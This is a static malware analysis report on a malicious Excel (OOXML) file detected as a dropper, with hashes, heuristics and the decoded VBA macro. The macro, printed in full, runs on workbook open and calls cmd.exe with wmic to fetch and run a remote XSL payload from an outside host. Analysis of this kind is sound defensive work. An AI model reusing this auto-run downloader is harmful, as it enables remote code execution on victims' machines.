Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 54141fa5e1cdacb1…

MALICIOUS

Office (OOXML)

3.9 KB First seen: 2020-11-12
MD5: 81d4a323119fa17295a1859b4e2b69fa SHA-1: 79f9edaede3503fe7bc823a83d05ddc4f66bef14 SHA-256: 54141fa5e1cdacb1e74ee1a6df1e895dbdeb7ce999cc61decbbaf5f375078533
250 Risk Score

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        TaskID = Shell(Program, 1)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Program ="cmd.exe /k wmic os get /FORMAT:""http://192.168.72.128:8083/i6JvX.xsl"""
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.72.128:8083/i6JvX.xsl In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 924 bytes
SHA-256: bb2ea27a17d988bf90365f2ffafb5766e9ae99f4a5258db1850595317c78c289
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim Program As String
    Dim TaskID As Double
    On Error Resume Next
    Program ="cmd.exe /k wmic os get /FORMAT:""http://192.168.72.128:8083/i6JvX.xsl"""
    TaskID = Shell(Program, 1)
    If Err <> 0 Then    
        MsgBox "Can't start " & Program
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 4608 bytes
SHA-256: 1f92f2db03b2970f17b1e29d0fd6858ae948a93e6c41bd56459ae4bf4649f3ed
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely